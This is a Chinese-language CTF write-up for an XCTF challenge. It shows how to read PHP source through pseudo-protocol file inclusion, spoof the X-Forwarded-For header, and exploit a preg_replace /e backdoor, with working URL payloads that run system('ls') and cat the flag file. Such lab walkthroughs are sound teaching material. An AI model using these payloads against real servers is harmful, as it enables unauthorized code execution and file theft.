php 写入文件 ctf,[CTF]文件包含(php伪协议)+代码执行(XCTF 4th-CyberEarth)

原作者:admin

[原理]

文件包含读源码、x-forwarded-for

preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。

[目的]

掌握正则表达式、伪协议读取源码

[环境]

windows

[工具]

firefox、burp

[步骤]

1.进入云平台设备维护中心页面,利用PHP伪协议读取源码。

2.将得到的源码进行base64解密处理,获取到index.PHP的源码,在121行可以发现后门,如图所示。

6d2364936d3d54adbcdf075703d764ab.png

3.对此段代码进行审计,可以发现需要将X_FORWARDED_FOR设置为127.0.0.1,并且用get方式传递三个参数传递给preg_replace函数。

这里介绍一下preg_replace函数:

bd7c87094629ed024d5559e1f7c28f85.png

其实就是PHP里的正则表达式,这里的正则匹配我需要单独写一篇关于正则的博客。等待后续吧....

4.使用burp修改http请求头参数,添加X_FORWARDED_FOR,将url设置为

/index.PHP?pat=/(.*)/e&rep=system(‘ls‘)&sub=aa 可以查看文件列表,如图所示。

63f11587a7e84da5962c40709b7a1886.png

5.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir‘)&sub=aa 查看s3chahahaDir文件夹,发现flag文件夹。

6.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir/flag‘)&sub=aa 查看flag文件夹,发现flag.PHP文件。

7.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘cat+s3chahahaDir/flag/flag.PHP‘)&sub=aa 查看flag,如图所示。

ad2f7bc9bdacac0e974656a81cb0bd88.png

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值